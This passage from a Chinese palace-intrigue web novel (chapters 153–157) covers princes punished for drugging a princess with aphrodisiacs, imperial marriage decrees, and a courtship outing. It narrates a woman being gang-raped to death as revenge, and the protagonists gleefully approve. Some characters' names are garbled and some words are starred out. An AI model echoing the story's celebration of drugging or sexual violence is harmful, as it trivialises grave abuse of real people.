“皇上息怒。”皇后轻拍皇帝胸口,为他顺气。
辰王和霁王两人相互瞪视一眼。
辰王心里最气,被二皇弟给截胡,还抓不到把柄。
他是怎么知道自己要算计表妹的?
世上没有那么巧的事,他前脚让人给表妹下了药,他还没到,就被二皇弟安排的人给带走。
这时间掌握得也太恰当,难道二皇弟在他身边安插了眼线?
是谁?
霁王心里也恼恨。
他没想到表妹的意志那么强,一般的闺阁女子,只要稍中一点点那种药就能不管不顾扑向男人,求宠。
表妹却还能在极度难受之时放出狠话,引来大皇兄,破坏了他精心设计的局。
他随时留意着表妹的动向,看到表妹出去,他就立刻让人跟着,看看要去哪里?
当得知被带进大皇兄以往来落梅庄常休息的房里时,他就知道自己的机会来了。
抢在前面把人带走。可时间太短,又是大白天,不能把人带出去,只能就近带进自己休息的房里。
不管如何,只要成就了好事,就是板上钉钉。
只要表妹能嫁给他,以后的事以后再说。
父皇不可能让他休妻再扶表妹做王妃,那就只能考虑以后传位给他,表妹就能顺理成章被封为皇妃,与东临的关系自然也能如以前一样维持。
谁知道表妹的一声怒喝,一切都成了泡影。
“赵昀辰,赵昀霁,你们以为找不到证据,朕就什么都不知道吗?那两个宫女就是你们分别安排的。不然别处不带去,就带去你们休息的房里?
我南楚谁敢如此害东临的公主?别当朕是傻子。
赵昀辰,婉仪中了两种媚药,第一种就是你下的。她在离开你房间之前就感到身子不对劲。
赵昀霁,你也是在打同样的主意,婉仪又被你安排的人带去你房里,你又给她下了药,连你自己也中药,以身入局,想把自己摘干净,让朕以为是有人算计你们两个。
朕活了几十年,你们这些小把戏少在朕面前耍。”乾德帝看得很分明。
也不找证据了,事情本就很清楚。
“父皇,儿臣冤枉啊。儿臣什么也没做。不知道是谁在儿臣房里点了媚香,如果是儿臣自己所为,怎么可能留下证据?”霁王还想狡辩。
而且他刚才与大皇兄打架时,什么话也没说,仗着中了药,失去理智,趁机教训他一顿。
“父皇,儿臣也冤枉,儿臣也是
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回房换衣服,正要下楼,听到有声音,还提到东临两字,才引起了儿臣的警觉,打开二皇弟的房门,就看到二皇弟正要对表妹行不轨之事。”
辰王也喊冤,他怎么可能承认。
“哼,朕是那么好糊弄的吗?来人。”
“臣在。”赵炳煜和赵胜两人同时出列。
“辰王和霁王不顾家国安危,算计东临六公主名节,不顾王妃脸面,行不轨之事,置皇家颜面于不顾。拖出去就地重打三十大板,再罚闭门思过两个月。”乾德帝再不给两人辩解的机会,直接下令。
“臣领旨。”赵炳煜两人一拱手,一人拖一个,拖了出去。
“父皇,儿臣知错,儿臣知错。”辰王求饶。
三十二岁了,还被罚打板子。
而且他的身子骨可没有二皇弟结实,三十板子会要了他命的。
“皇祖父,父王知道错了,您就饶了他吧。他以后再也不敢了。”辰王世子赵凌霄带着弟弟赵凌翊跪到乾德帝面前求情。
辰王妃却站在一边抹眼泪。
那是他的夫君,说都不与她说一声,就去算计东临的六公主。
谁都不是傻子,一看就明白。
如果真成了,而父皇又不传位给夫君,难道要她把王妃的位置让出来给东临的六公主吗?
想到那个可能,她的心痛得如刀在割。
可她不能看着辰王受如此重罚,要是伤了根本,以后还拿什么来争,太子就是例子。
身子垮了就是废物。
她不得不推两个孩子去求情。
“你们的父王做错了事就应该受罚。
没有规矩,无以正纲常。
你们记住,身为皇子当以身作则,而不是为所欲为。”乾德帝趁机教导孙子。
“起来吧,引以为戒,做好皇家子弟,做好表率。”乾德帝让林德全把两个孩子扶起来。
两个孩子并没有错,儿媳妇也没有错。
“老大媳妇,以后好好劝着点辰王。如若再有下次,朕会罚得更重。”乾德帝又冲辰王妃道。
“是,儿媳定会劝导王爷。”
此时外面已经传来惨叫声。
“外祖父,外孙女有一事相求。”突然,慧兰县主跪到乾德帝面前。
第153章 当场赐婚
慧兰县主的举动,让赵明月惊了一下,同时也想到女儿可能要求什么。
“慧兰,不可胡来,有什么事可以先与娘说。”赵明月打断。
“不,娘,此事只有外祖父才能做主。”慧兰县主跪得笔直,眼神执着而坚定。
“何事?”乾德帝此时心情并不好,两个儿子让他很失望。
同时又很庆幸没铸成大错。
好在他们两人同时动手,反而让事情没成。
也庆幸他们两人同时犯了错,可以一起罚,不偏不倚,朝堂也就不会动荡。
“外祖父,外孙女心仪霍状元,值此端午佳节,请外祖父赐婚,喜上加喜。”说完慧兰县主叩了个头。
萧婉仪眼睛大睁,这么大胆,这么不要脸?
她还顾东顾西,想个办法来实现这个目的。
人家就这么直接跪下求赐婚了,那她也不用客气。
萧婉仪轻移莲步,也走到乾德帝面前跪下。
“皇舅舅,今日幸得霍状元兄妹相救,不然我就失身给了二表哥,要是真到了那一步,我堂堂东临公主,怎可给人做妾?二表嫂要如何自处?
就算二表嫂自请下堂,让出嫡妻位置,我东临公主也没有给人做继室的先例。
到那时,两国因此生了嫌隙,是百姓的灾难。
而霍状元救我于危难之际,且与我在大庭广众之下有了肌肤之亲,我只能嫁给他,希望皇舅舅能成全,也保全我的名声。”
萧婉仪说得大义凛然。她这番话没有半点男女私情在里面,让乾德帝不会多想。
霍家虽是三品尚书府,但还没有资格娶东临的六公主,那是和亲的使者,关系两国邦交。
霍鸣羡听得此话,也跪到乾德帝面前。
“皇上,臣有罪。当时看到六公主受药物控制,已失去理智,为了让她好受些,行权宜之计,才抱着她跳入湖中,以缓解她的药性,为太医争取救治时间。绝没有故意亵渎公主之意。”
霍鸣羡明明没有错,但先认个错,再陈情,说得合情合理。
“你做得很好。”乾德帝对霍鸣羡的行为并没有生气。
“外祖父,表姑不过是被抱了一下,又没有失身给霍状元,根本不用嫁给他。
我是真心喜欢霍状元,想要嫁他为妻。”慧兰县主急了。
不顾女儿家的矜持,直接当众表白。
“霍鸣羡,你对慧兰可有意?”乾德帝脸沉了两分。
他虽宠明月,但这个外孙女却不是他所期盼的,要不是看在明月的面子上,县主的封号他都不会给。
居然还当众如此不知廉耻。
“回皇上,臣目前心中并无心仪的女子。”霍鸣羡回答得不卑不亢。
意思很明显,他对慧兰县主无意。
“好。霍家的家教不错。只是东临六公主是来和亲的,而东临的公主从没嫁入大臣家的,你可担得起两国邦交的使命?
如果六公主在霍家过得不好,你霍家满门都将获罪。”乾德帝严肃而认真。
“臣今日的确污了六公主名声,愿意承担责任,如若六公主屈尊入我霍家门,定不让她受半点委屈,对公主爱重疼惜。担起和亲使者的重任。”霍鸣羡说得铿锵有力,如发誓般。
“霍鹏程。”乾德帝提高了声音,喊道。
“臣在。”霍鹏程一直等在外面,听到圣上叫,立刻进来,跪下。
“朕今日把东临六公主许配给你家大公子,你可有什么要说的?”
“我霍家深感荣幸。谢皇上抬爱,谢六公主垂青。”霍鹏程没有推辞,很大方接受。
他虽在外面,但把厅里的谈话听得清清楚楚。
这种时候推辞反而显得矫情。
“好。哈哈......”乾德帝朗声笑道,“霍鸣羡,萧婉仪听旨。”
“不要,外祖父,霍鸣羡是我先看上的。”慧兰县主大叫。
“慧兰,你给我闭嘴。”赵明月这回真生气了。
刚才她还想看看父皇的态度,会不会如了女儿的愿。
结果父皇已经很明显表现出不耐烦,女儿还不知轻重,那就是恃宠而娇。
“娘,我就中意霍鸣羡。”慧兰县主还一根筋。
“苏嬷嬷,把她带下去。”赵明月吩咐,此时不是犯蠢的时候。
苏嬷嬷连拖带拉把人带走。
慧兰县主的叫声还远远传来。
“父皇,孩子不懂事,不过是看上霍家的家规好,其实并不是真的对霍状元有多深的情意,儿臣回去定当好好教导。”赵明月打圆场。
乾德帝只是扫了她一眼,继续刚才的话。
“东临六公主萧婉仪乃朕七皇妹之女,携和亲使命而来。温婉贤淑,德才兼备,聪慧颖达,女子之典范。
今有我南楚户部尚书之子霍鸣羡,状元
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之才,国之栋梁,心怀天下,志存高远。
此二人郎才女貌,堪为良配,相得益彰,实乃天赐良缘。
朕特赐婚与二人,不仅为两姓之好,更巩固两国之邦交,望其婚后能相互扶持,夫妻恩爱。”
“谢皇上隆恩。”霍鸣羡和萧婉仪重重叩下,接旨。
叩下时,两人偏头对视一眼,会心的笑一闪而逝。
“皇后,让钦天监算出成亲的好日子,让两人早日成婚,以安天下。从内务府再准备一份丰厚的嫁妆,按嫡公主的规制。”乾德帝向身边的皇后吩咐道。
“臣妾领旨。”皇后乐见其成。
这一场以身入局的戏码,虽然中间出了点岔子,最终圆满落幕,达到了目的。
霍凝玉的心里比谁都开心,为大哥开心。
大哥没有娶前世的大嫂,现在赐婚东临六公主,不管以后谁做皇帝都不会轻易动霍家。
大哥肩负着两国联姻的重任,更是两国和平的使者。
而且最重要的是,大哥心里有六公主,六公主心里也装着大哥。
没有什么比两情相悦更圆满的了。
端午宫宴,收获最大的,非霍家莫属。
两位王爷竹篮打水一场空,还被打了三十板子,禁足两个月。
辰王的路,因她的重生难了很多。看他以后还怎么蹦跶。
短短不到一年时间就被禁足两次。
或许会被逼得狗急跳墙吧,霍凝玉如是想。
霍鸣羡扶着萧婉仪从地上起来。
既然已经赐了婚,他扶她自不会招人诟病。
两人可以大大方方相视而笑了。
而赵明月却眼神冰冷地看着两人。
她的女儿居然就这样输给了一个外来的公主。
她答应女儿的事办不到了。
回去还不知道女儿要如何与她闹呢。
时也命也。
出了这样的事,乾德帝再没心情继续在落梅庄里游玩,宫宴就此结束。
皇后和太子妃又一次被皇上训斥了一顿,安排的宫女被人顶替了都没发现。直到现在也没找到。
霍凝玉心情既高兴又气愤地随家人回到霍府。
高兴自是大哥得尝所愿,气愤的是江宁又一次躲过去了。
明明赵大哥悄悄告诉她今日下药的人是江宁。
天还没黑,赵炳煜就来了。
“赵大哥,就这么放过江宁吗?”
第154章 真的**
“今日我没时间与你说太多,江宁的娘已经**,以后她再也没药可用。
我还发现江宁有一项本事,应该也是辰王看中的本事,她居然能模仿别人的字,且写得很难找出破绽。
我估计辰王会好好利用这项技能,所以我打算将计就计。
不过你放心,她不会有好下场,我保证一定让她不得好死,只是让她多活一段时间,利用她把辰王拍死。”赵炳煜安慰道。
“你发现了?”霍凝玉眼睛亮了亮,她都还没来得及告诉他这事呢。
“嗯,昨晚送你回府后,就去夜探谢府,正好看到江宁在练字,而且她练的还是圣上的字,可见辰王的野心有多大。”
霍凝玉听得不可置信,辰王胆子也太大了。
“杨氏是**的?”霍凝玉很想知道。
听到这个消息,她心里很欢喜。
她想杨氏死,可她一直躲在大公主府,找不到机会下手。
江宁之所以长成如今的心性,全是杨氏的功劳,一切的根源就在杨氏身上。
赵炳煜就把昨晚他与钟离洛一起干的“好事”说了一遍。
“哈哈......你们两个太坏了。”霍凝玉心情更加愉悦,忍不住大笑出声。
活该。
她前世的悲剧真正的凶手就是她。
如果她知道感恩,就会教导好江宁,就不会有江宁勾引谢正阳的事,更不会有谢正阳给她下药的事。
现在好了,杨氏**,江宁少了这么大的帮手,看她以后还怎么如鱼得水。
而被两人讨论着的杨氏,终于在天黑前找到了。
谢正阳整整找了一天,才在一个乞丐窝里把人找到,可是早就死透了。
而且身体被人糟蹋得没有一点完好的地方,要不是看到散落的衣服是她的,都难以判定是不是她。
当江宁看到尸体时,简直不敢相信这是她母亲。
“正阳,这不是我母亲,一定不是。”江宁柔弱的身子根本站不稳。
直接跌坐在地。
“正阳,告诉我,这不是真的。”江宁怎么也接受不了这样的事实。
她们母女相依为命这么多年,只有彼此这么一个亲人。
当年要不是父亲替霍鹏程挡刀而死,她们母女怎会过得如此凄凉。
现在连母亲也去了,她再也没有亲人了。
“呜呜.....啊......”江宁发出凄厉的悲鸣,一口鲜血喷出。
软倒在谢正阳怀里。
“宁儿,这应该是岳母,我把全城能找的角落都找了一遍。应该是昨晚马疯跑时,把人甩出了马车,正好被一群乞丐遇到,被.....”后面的话,谢正阳怎么也说不出口。
他堂堂忠义伯府大公子,他的岳母却死得如此不堪入目,被一群乞丐糟蹋至死。
当他到达现场看到岳母的样子时,他也差点气得吐血。
这让宁儿怎么接受得了,可是那是宁儿的亲娘,他不得不把人带回谢家。
“哎哟,怎么就成了这样。”夏宜宣也被杨氏的惨样给吓得躲在谢勋身后。
“正阳,你确定这真的是亲家?”谢勋也不敢相信。
“我娘后腰上有一颗豆大的黑痣。”江宁猛然想到一个标志。
这一定不是她母亲。
她宁可母亲可能被哪个红楼给抓去了,也不愿相信眼前的尸体就是她母亲。
夏宜宣立刻让身边的嬷嬷上前检查。
嬷嬷在两个丫鬟的帮助下,把尸体翻来侧着,掀开本就没多少遮挡作用的衣物。
江宁突然来了力量,几步转到尸体的后腰处。
那一颗黑痣,毫无遮挡地印入眼帘。
江宁身子摇晃了两下,直直倒向地面,双眼翻白。
小产后本就没有好好休息,被这一刺激,江宁再也支持不住,晕了过去。
“我的天爷,真的是亲家。”夏宜宣拍着胸口。
真的**。
儿媳妇小产,大夫说以后再难有孕,就等着亲家来给儿媳妇诊治。
可现在人都**,儿媳妇还能治好吗?
要是太医都治不好,以后她不就没有嫡孙抱了?
想到这可能,夏宜宣看江宁的眼神就不善起来。
她大好的儿子,就是**宁给毁的,要不是她,儿子哪里会失了世子之位。
直到现在皇上都没提起让伯府立世子的事。
要是伯府的爵位就此到头,都是江宁害的。
谢正阳流着眼泪,把江宁抱回房。
“管家,在偏院搭个灵堂,等少夫人醒来再去守灵,不必通知
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亲友,三日后出殡,找个合适的地方埋了。”谢勋叹了一口气,安排处理后事。
本想着这杨氏医术不错,深得大公主欢心,偶尔还去辰王府看个诊。
结果却**。
还不知道大公主会不会因此冷落儿媳妇。
好在已经靠上了辰王。
大夫很快请来给江宁看诊。
几针下去,江宁被扎醒。
“宁儿。”谢正阳心疼地握住她的手。
“正阳,我没有娘了,我没有亲人了。”江宁面如死灰,眼泪哗哗滚落。
“你还有我。我就是你的亲人。”谢正阳真心喜欢江宁,对她一片真心。
只是偶尔想到霍凝玉时会感叹,如果他的宁儿是霍家嫡女就好了。
可是没有如果。
“正阳,你不会丢下我的,对不对?”江宁此时脆弱无比,又伤心欲绝。
她没有娘家,没有亲人,没有地位,只有谢正阳的宠爱是她唯一的依靠。
“不会,你我是夫妻。我们会相扶到老。”
大夫刚出谢正阳的院子,就被夏宜宣叫去问话。
这个大夫正是凌晨刚给江宁看诊过的那位。
“张大夫,我那儿媳妇的身子如何?”
“回夫人,悲伤过度,郁积于心,需得好好开导开导。她才刚刚小产就出去吹风,估计会大病一场。”张大夫见病人这么不顾惜自己,只能无奈摇头。
“我是问,她的身子以后真的再难有孕吗?”夏宜宣最关心的是这个。
“夫人,短短时间她就小产了两次,女人的身子哪里经得起这么折腾。就算太医来,也很难给她调理好。这又陷入大悲之中,更是难上加难。”张大夫连连惋惜。
夏宜宣听得脸色难看,之前抱着一丝希望,现在彻底没了。
她本不喜这个儿媳妇。看来以后得重新娶个儿媳妇才行。这个女人要不得了。
江宁喝了大夫开的药,灵堂也搭好了。
她强撑着去守灵,谢正阳怕她受不住,替她守。
让下人搬了个软榻在旁,让江宁在旁躺着。
夏宜宣知道后,怒气匆匆而来。
“你个不孝的东西,那是你亲生母亲,你就这么给她守灵的?以后我要是去了,你是不是连看都不来看一眼?”
第155章 送丫鬟
夏宜宣一顿训,江宁再也躺不住,支撑着就要起来。
她本就伤心过度,看到婆母一改之前的态度,心里发苦。
昨日之前,婆母虽不喜她,但看在母亲给她看诊,治好当年生孩子留下的寒症的份上,对她还算温和,至少没找她的麻烦。
可现在,母亲去了,她的身子也坏了,她已经没有价值,婆母立刻就翻脸。
“娘,宁儿的身子实在受不住。”谢正阳挡在江宁面前。
“怎么?那是她亲娘,难道不应该为她娘守灵吗?我们谢家可不惯这娇气。
当今以孝治天下,你就不怕传出我们谢家有个不孝的儿媳妇吗?”夏宜宣最见不得江宁装柔弱,把儿子拿捏得死死的。
“夫君,婆母说得对,我不应该因身子不好就弃孝道于不顾,会招人说闲话的。”江宁在丁香的搀扶下,老老实实跪在灵堂前。
守灵三日下来,江宁整整病了一个多月才慢慢能下床。
杨氏被一群乞丐给折磨致死的消息很快传入赵明月耳里。
“怎么会这样?”她简直不敢相信。
这可是京都,虽有乞丐,但并不多,哪就那么巧被杨氏遇到。
“苏嬷嬷,让高义去查查到底怎么回事。”
结果高义花了三天时间才查出一点眉目。
“大公主,属下发现只三天时间,京城的乞丐突然减少。只看到一些孩子,大人一个没有,或者说男子一个也没有。”高义如实禀报。
“哦?这就奇怪了。”赵明月很可惜杨氏就这么**。
她能怀孕的确是杨氏的功劳。如果没有杨氏给她针灸加汤药治疗,她根本不可能怀孕。
太医早就给她下了定论。
而她现在快三十四岁,京中这么高龄的女人,很少有怀孕的。
要是生产这一关她过不了,那可就得不偿失了。
她就是仗着有杨氏在,才敢大胆怀孕的。
“大公主,应该是谢大公子满街找人的举动把那些乞丐都吓跑了。”高义分析。
“既然已经出城,你再出城抓几个乞丐问问,到底是怎么回事。”赵明月一定要查清楚。
如果是有人故意除掉杨氏,那就是在针对她,有人不想她活。
而最有可能的就是霁王。
高义又查了两天,才找到其中一个乞丐,用死来威胁才知道杨氏是**的。
“大公主,杨氏当真是被人所害,属下找到当时害死杨氏的一个乞丐,他说杨氏是被人丢到他们晚上睡觉的废旧屋里。
他们都没看清就把人搞**。
到底是谁丢的,他们根本不知道。只以为是有人要处理谁家争宠的小妾。他们才胆大妄为。”
“果然不是意外,好得很。这是要让我死于难产啊。”赵明月惊出一身冷汗。
她才不要死。
她还有好多事还没做呢。
这时慧兰县主进来。
“娘,发生什么事了?”慧兰县主伤心了几日,才慢慢接受霍鸣羡被赐婚给了萧婉仪的事实。
可是她好不甘心,母亲说不可对萧婉仪动手,她是来和亲的,要是影响了两国邦交,南楚就要三面受敌,万一三国联合把南楚给灭了,皇室一个也别想活。
这点大义,赵明月很清楚。
国在,皇室才有荣华富贵。
“慧兰,我写一封信,你想办法带给你爹。”赵明月一时有些惊慌。
事关生死,不能大意。
现在她才刚刚开始显怀,还有几个月时间。她得提前筹谋。
同时她也把这个消息传给了辰王。
辰王收到消息时,并没太多反应。
一个杨氏还不值得他关注,反而他更在意江宁的那一手写字的本事。
“曾先生,拿本王的名帖,给谢家的少夫人请个太医,注意不要让人知道。”辰王让曾永信去办这一件事。
曾永信自是知道怎么做。
太医院的人,当然有辰王的人,自能做到保密。
有了太医的医治,江宁挺过了这一关。
霍凝玉对江宁大病一场的事并不关心。
端午后的第四日,余征带了两个姑娘来霍府找霍凝玉。
“县主,这是我们头儿临走时交代的,让我送两个会武的丫鬟来给你使唤。
调教的时间比较短,勉强能打倒两三个普通男子,先将就着用。
以后等我调教出更好的再给你送来。”
余征自去年八月起就买了二十个十岁到十五岁的女子,专门派人训练她们武艺
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和做细作的技能。
只有这两个的武艺学得最好,现在头儿不在京城,他只得早些把人送来。
万一县主遇到危险,头儿又不在,他就得负起保护县主的责任。
“那就多谢了,我还以为你跟着赵大人办差去了。”霍凝玉对余征印象不错。
不知道他有没有成亲。
“头儿让我镇守京城,他带了林宇。”余征现在领着整个皇城司呢,任务可不轻。
刑部抓不到的犯人,就会找他。
大理寺重审案子,也要找他。
有时禁卫统领也要找他协作。
皇上想要什么消息也会吩咐他。
余征把人送到,得了霍凝玉一盒点心,美滋滋地离去。
“奴婢见过主子。”两丫鬟齐齐行礼。
一个身高比霍凝玉还高,身强体壮,但并不胖,一看就是经常劳作的姑娘。
且有点憨傻。
“主子,奴婢叫大花。我娘嫌我吃得多,养不起,就把我卖了。”
“主子,奴婢叫小草。”另一个只说了名字,其他没有多说。
小草长着一双大眼,很有神采,给人感觉很稳重。
两人都没有因第一次见霍凝玉而显得小家子气,而是落落大方。
“请主子赐名。”两人又齐声说。
“我身边的两个丫鬟一个叫珍珠,一个叫玛瑙,都是宝贝,那大花就叫翡翠,小草就叫琉璃吧。”霍凝玉很快想到好名字。
“谢主子赐名。”
有两个会些拳脚的丫鬟,霍凝玉每日没事就带着她们一起练习甩鞭。
两个丫鬟甩得比霍凝玉还好。
这下更刺激得她不敢偷懒。
休息时,每日与容华芝一起清点聘礼。
皇上希望霍家早些娶萧婉仪过门,落实两国联婚。
五月底,霍家就准备好了聘礼,霍鸣羡亲自带着九十八抬聘礼在礼部官员的协同下,去使馆。
容华芝看着走远的队伍,叹了一口气。
“你大哥的婚事定下了,你二弟也要早些定下来才好。不然又出什么事,真是让人防不胜防。”
“母亲放心,姻缘天注定。”霍凝玉安慰道。
而被母女两人讨论着的霍鸣昶,此时正往一棵树上爬。
第156章 一起掉江里
功夫不负有心人,他终于爬上了万家后花园墙外的一棵大树。
果然如他所料,看到万青黛正在园子里给花除草。
这事本不用她来做,可她除了喜欢在厨房里做吃的,就是喜欢侍弄花草。
霍鸣昶丢了一块小石子过去,没砸中万青黛,反而砸中了她身后的丫鬟夏蝉。
“哎哟,谁打我?”夏蝉轻叫一声。
转过身来看,却没看到人。
“怎么了?”万青黛问道。
“小姐,刚才奴婢被一颗小石子打到,不知道是谁。”
“哦,是吗?会不会是二弟?”万青黛猜想。
自从继母被送走,二弟对她总是横眉瞪眼,逮到机会就想欺负她,被大哥收拾了几顿后,他才有所收敛。
两人开始在花丛里找,看对方躲在哪里。
霍鸣昶又扔了一颗石子,这回砸中了万青黛。
“哎哟。”这回打在她头上,虽然石子很小,可也很疼的。
“嗨,这儿呢。”霍鸣昶摇晃几下树枝,引她们把目光看过来。
万青黛这才注意到树上的人。
两人走过去,抬头一看,这才看清树上的人是谁。
“霍二公子,你怎么在这儿?凝玉是不是也来了?”万青黛看到霍鸣昶明显很开心。
没有聚会,一般她很难见到霍鸣昶。除非她去霍家。
“她没来,是我悄悄来找你的。”霍鸣昶向万青黛招了招手,让她靠近一点。
今日正好国子监月底休假。
大哥一出门,霍鸣昶就迫不及待来了这里。
他一个外男又不能直接约人家姑娘,让大姐帮着约吧,他又不想让大姐知道他想做的事。
万青黛走近了些:“你找我什么事?”
“你能出来吗?我有话与你说。”霍鸣昶性子本就比较跳脱,说话直接。
“你等我。”万青黛对霍鸣昶很信任。
万青黛和万二夫人说了一声就带着丫鬟从后门出来。
霍鸣昶早就等不及了。
“走,我带你出去玩。”
“你要带我去哪里?”万青黛带着两分兴奋。
不知从什么时候起,霍鸣昶那晚背着她的一幕总出现在脑海里,挥之不去。
居然还有几次做梦梦见他,举着大刀来救她。
明明他是个读书人,哪里会用大刀,可他举着大刀的威武模样在梦中清晰无比。
她长这么大,接触最多的外男就数霍家两兄弟。
霍鸣昶总能逗得她忘记继母的苛待,让她展颜而笑。
霍鸣昶把人拉上马车,直往城外而去。
那日端午,他连自家姐姐的人影都没看到,只有青黛知道他在哪里,特意过了江,站在离他最近的地方为他加油鼓劲。
尽管看热闹的百姓很多,但他就是听到了青黛的呐喊声。
“二公子,你到底要带我去哪里?”万青黛见霍鸣昶上了马车就只知道傻傻地望着她。
“青黛,今日我大哥送聘礼去使馆了。”霍鸣昶答非所问,且眼神有些飘忽。
“太好了,霍大哥是不是就要娶东临六公主了?”万青黛为霍家大哥高兴。
那么多姑娘想嫁,最终却做了和亲使者。
陈家退婚退得好,没想到会有这么好的姻缘等着他。
“是啊。你说我以后娶个什么样的媳妇好呢?”霍鸣昶双眼放光,等着姑娘的回答。
“我怎么知道,容姨自会为你相看最好的姑娘。”万青黛对上他灼灼的眼神,脸红发烫,心跳加速。
她害羞地低下头去,不敢再与之对视。
“其实我看上了一个姑娘,可是她与我同岁,甚至比我还年长半岁。
而我现在才刚刚满十六岁,要成亲最少还得两年。
如果我考科举顺利的话,可能会再推后,到那时,姑娘年纪大了,不知道她愿不愿意等我。”
霍鸣昶说着不指名道姓的话,可他的手却悄悄握住了万青黛的手。
万青黛用力抽了几下,没有抽动。
脸更红了,更不知道如何接他的话。
“你说我要是开口求娶,她会不会答应?”霍鸣昶成功抓到姑娘手,心里美得如喝了蜜。
“我哪里知道,你应该先请媒人上门提亲。”万青黛此时脸快要滴出血来。
“你说得对,是我唐突了,应该先请媒人上门问问才合礼数。”霍鸣昶已经知道她什么意思了。
马车来到东江边,霍鸣昶让跟着
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的小厮阿??去包一艘小小的画舫。
他带着万青黛上了画舫,一起游江。
他的时间实在太少,好不容易有一天休假,他得好好利用。
“青黛,你看,有鱼跃出水面,而且还是两条。”霍鸣昶一惊一乍。
完全没有霍鸣羡的沉稳练达,但却让万青黛觉得与他一起,心情特别好。
“真的呢。”万青黛也游过几次东江,从没见鱼跃出水面过,“是不是天要下雨了?”
霍鸣昶抬头看天,虽不是**无云,但看着不像要下雨的样子。
而就是他这一抬头,被阳光给晃花了眼,头忽然犯晕,没站稳,向后倒去。
“二公子。”万青黛情不自禁伸手去拉他。
霍鸣昶两手胡乱一抓,抓住青黛的手,把人一带。
“扑通!”两人双双落水。
“主子。”
小厮和丫鬟同时惊呼出声。
可是只一瞬,人就不见了踪影。
“船家,快停船。我家小姐落水了,她水性不好。”夏蝉急得大叫。
“夏蝉姑娘不用担心,我家公子水性很好。”阿??只惊了那么一瞬,并没有慌张。
可是两人等了好几息都没见人从水里上来。
万青黛被突如其来的变故给惊得手足无措。
水突然从四面八方向她袭来,她只在水池里玩过水,可以游两下,从没落入过这么深的江里。
脚下深不见底,身体不断下沉,越往下沉,她越惊慌,越不知道如何做,只能胡乱挥舞着手。
一张嘴,水就灌了进来,让她更加惊恐。
就在无助绝望之时,一只手抓住了她的头发。
用力向上一提,她就落入霍鸣昶的怀抱。
霍鸣昶一手带着她,一手不停划水,终于冲出水面。
万青黛连连咳嗽。
稍缓过劲来,就“哇”的一声哭出来。双手紧紧挂在霍鸣昶的脖子上,如抓住救命稻草。
刚才的惊慌让她感觉就要**。
她曾梦见过自己投环自尽,那种感觉就如刚才无法呼吸时的感觉。
“青黛,对不起,都是我不好。”霍鸣昶连连道歉。
可是怎么也安抚不了惊慌的万青黛。
第157章 一个哑巴
“青黛,不用怕,已经安全了。”
万青黛如从死亡边沿经过,哭了好一会儿才缓解心里的恐惧。
看到自己被霍鸣昶一手搂在怀里,一手攀着船舷,才知道自己失态了。
丫鬟和小厮合力把两人拉起来,伺候他们更衣换洗。
“青黛,你不是会水吗?怎么被吓得如失了魂般?”霍鸣昶握住她的手,眼中满是关心。
“我,我曾做过一个梦,梦里我投环自尽,那种窒息的感觉让我实在太害怕,刚才在水里就是那种感觉。”万青黛摸了摸自己的脖子。
那种被绳子勒得生疼的感觉犹存。
霍鸣昶更加心痛:“青黛,把那个梦说出来,你心里就好受些,以后也不会再害怕。”
他想到大姐经历的痛苦,自她说出来后,心情再没有那种沉重感。
“我也不知道为什么?去年自我从普陀庵回来,就连续几个晚上做同一个噩梦。梦见我被糟蹋,无颜苟活于世,选择了投环自尽。我好害怕,鸣昶,我不想死。”说着万青黛的身子开始发颤。
霍鸣昶明白了,把她紧紧拥进怀里,给她安慰。
是大姐的重生救了青黛,让她免于上一世的经历,这虽违背了既定的历史,却也要让青黛在梦里经历一次。
可他为什么没做梦呢?
“都过去了,不用怕,你不会投环自尽。你会嫁人生子,会有圆满的人生。我也会有圆满的人生。”霍鸣昶此时才深深体会到,大姐的重生多么重要。
改变了那么多人的人生。
“嗯,我继母被送去了庄子上,她害不到我了。”万青黛一直知道那只是一个梦,只是太过真实,才让她如此失态。
“青黛,今日回去我就和我娘说,等着我上门提亲,以后我们一起努力过好我们的小日子,好不好?
我娘最是心疼儿女,以后你过了门,她也会心疼你。你就有娘疼了。”
霍鸣昶说出的话很朴实,但狠狠戳到了万青黛的心坎上。
容姨,性格有些小泼辣,可对人的好,她已经体会到,就因为她没有娘疼,每次她与凝玉一起,容姨都会关心她,照顾她。
某次看到继母数落她,容姨毫不犹豫站出来与继母争执,护着她。
要是她有这样的娘,那一定很幸福。
她被霍鸣昶的话感动得眼泪汪汪,点了点头。
“你同意了?太好了。我们这就回去。你不知道,大哥今日去送聘礼,让我心痒难耐,我也想送聘礼,把你早早定下。”霍鸣昶说得语无伦次,又激动又欢喜。
如讨到糖果的孩子。
万青黛眼睛湿润,笑容漫上脸颊。
两颗滚烫的心,从此紧紧相依,相扶到老。
回去的路上,两人的手一直握在一起。这种感觉真新鲜,乐此不疲。
都不说话,却时不时对视一眼。
一切尽在不言中。
小儿女之间的情爱让他们不可自拔。
突然,马车一顿,骤然停下。
万青黛往前一扑,霍鸣昶立刻用手一撑,挡住了她。
“怎么回事?”
“二公子,马前倒了一个人。”阿禄小心回道。
他和夏蝉坐在外面车轼上,本想偷听主子们说话,结果什么也没听到。
两人突然像哑巴了似的。
等到快要撞上人了才回过神,赶紧一拉缰绳,幸好马是走的,不是跑的。
“快去看看。”霍鸣昶今日心情美妙。
阿?3?9来到马前,看到一个穿衫陈旧,胡子拉碴的中年男子倒在地上,脸上多处陈年老伤疤,看着有些狰狞。旁边还有一根拐杖,已经晕在地上。
说他是乞丐,又不太像,至少衣服没有多脏,不过是补丁多些。
但那双鞋却很脏,好似走过最脏的路。说明他住的地方肯定很脏乱。
“喂,醒醒,别装死。我的马可没撞上你,是你自己倒在路上的。”阿?3?9推了几下,没醒。
霍鸣昶下了马车,也上前来查看。
“你确定没有撞上人?”
“主子,小的可以确定,真没撞上。”阿?3?9很肯定。
霍鸣昶蹲下身,将手放到男子的鼻端,发现还有气。
“鸣昶,怎么样?”万青黛也下了车,走过来。
“活着。阿?3?9,搬上车,带他去一家医馆看看吧。”霍鸣昶今日心情特别好,日行一善。
况且他作为尚书家的公子,也不能遇到这种事不理,那有损名声。
把人送到一家医馆。
老大夫几针下去,人就醒
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了。
那人一醒来就想挣扎着起身,被霍鸣昶按住。
“大叔,先别动。大夫正在给你看诊。”
男子这才扫视了一周,看到一个老者确实穿着大夫常穿的长衫,又看到药柜,他才安静下来。
可男子却是个哑巴,只知道比画,大家都看不懂他在比画什么。
“大夫,他为什么会晕倒?”万青黛也同情这男子。
“回小姐,他应该是饿的。估计好几顿没吃了。”老大夫同情地摇了摇头。
但天下可怜之人太多,他也只是心里同情一下。
万青黛听是饿的,让夏蝉去马车里拿点吃的来。
